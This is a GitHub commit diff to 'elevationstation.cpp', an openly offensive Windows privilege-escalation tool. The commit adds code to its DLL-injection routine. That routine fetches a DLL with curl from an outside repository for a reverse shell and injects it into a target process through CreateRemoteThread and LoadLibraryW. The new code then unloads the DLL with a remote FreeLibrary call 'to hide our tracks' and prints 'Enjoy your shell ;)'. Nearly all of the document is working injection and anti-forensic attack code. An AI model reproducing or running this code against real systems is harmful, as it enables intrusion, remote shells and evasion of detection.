Skip to content

Commit ba521d9

Browse files
committed
unload the injected dll
cleaning up
1 parent a1b3abe commit ba521d9

File tree

1 file changed

+49
-2
lines changed

1 file changed

+49
-2
lines changed

elevationstation/elevationstation.cpp

Lines changed: 49 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -5,11 +5,13 @@
55
#include <string>
66
#include <conio.h>
77
#include <lmcons.h>
8+
#include <tchar.h>
89
#include <strsafe.h>
910
#include <sddl.h>
1011
#include <userenv.h>
1112
#include <Dbghelp.h>
1213
#include <winternl.h>
14+
#include <psapi.h>
1315
#include "def.h"
1416

1517
#pragma comment(lib, "userenv.lib")
@@ -227,6 +229,11 @@ BOOL NamedPipeImpersonate()
227229

228230
bool D11Inj3ct0r(DWORD pid)
229231
{
232+
HMODULE hMods[1024];
233+
//HANDLE hProcess;
234+
DWORD cbNeeded;
235+
unsigned int i;
236+
230237
cout << "[+] Downloading your dll from the elevationstation repo for the rev sh311 now!\n";
231238
WinExec("curl -# -L -o \"c:\\users\\public\\mig2.dll\" \"https://github.com/g3tsyst3m/elevationstation/raw/main/d11inj3ction_files/mig2.dll\"", 0);
232239
Sleep(3000);
@@ -284,13 +291,53 @@ bool D11Inj3ct0r(DWORD pid)
284291
exit(0);
285292
}
286293
printf("[+] Creating remote thread...\n");
287-
PTHREAD_START_ROUTINE threatStartRoutineAddress = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
288-
if (!CreateRemoteThread(processHandle, NULL, 0, threatStartRoutineAddress, remoteBuffer, 0, NULL))
294+
PTHREAD_START_ROUTINE threadStartRoutineAddress = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
295+
if (!CreateRemoteThread(processHandle, NULL, 0, threadStartRoutineAddress, remoteBuffer, 0, NULL))
289296
{
290297
printf("[!] couldn't create remote thread...Error Code: %d", GetLastError());
291298
exit(0);
292299
}
293300
printf("[+] Remote Process Injection completed successfully!!!\n");
301+
printf("[+] Now, time to unload the injected dll to hide our tracks...\n");
302+
Sleep(5000);
303+
304+
//close module handle to dll
305+
if (EnumProcessModules(processHandle, hMods, sizeof(hMods), &cbNeeded))
306+
{
307+
for (i = 0; i < (cbNeeded / sizeof(HMODULE)); i++)
308+
{
309+
TCHAR szModName[MAX_PATH];
310+
311+
// Get the full path to the module's file.
312+
313+
if (GetModuleFileNameEx(processHandle, hMods[i], szModName,
314+
sizeof(szModName) / sizeof(TCHAR)))
315+
{
316+
// Print the module name and handle value.
317+
if (_tcscmp(szModName, L"C:\\Users\\public\\mig2.dll") == 0)
318+
{
319+
printf("[+] found the dll within the injected process!\n");
320+
_tprintf(L"\t%s (0x%08X)\n", szModName, hMods[i]);
321+
322+
323+
PTHREAD_START_ROUTINE threadStartRoutineAddress = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "FreeLibrary");
324+
if (!CreateRemoteThread(processHandle, NULL, 0, threadStartRoutineAddress, hMods[i], 0, NULL))
325+
{
326+
printf("[!] couldn't create remote thread...Error Code: %d", GetLastError());
327+
exit(0);
328+
}
329+
else
330+
{
331+
std::cout << "[+] CreateRemoteThread success and injected dll unloaded! Enjoy your shell ;)\n";
332+
exit(0);
333+
}
334+
335+
}
336+
}
337+
}
338+
}
339+
340+
294341
CloseHandle(processHandle);
295342

296343
return 0;

0 commit comments

Comments
 (0)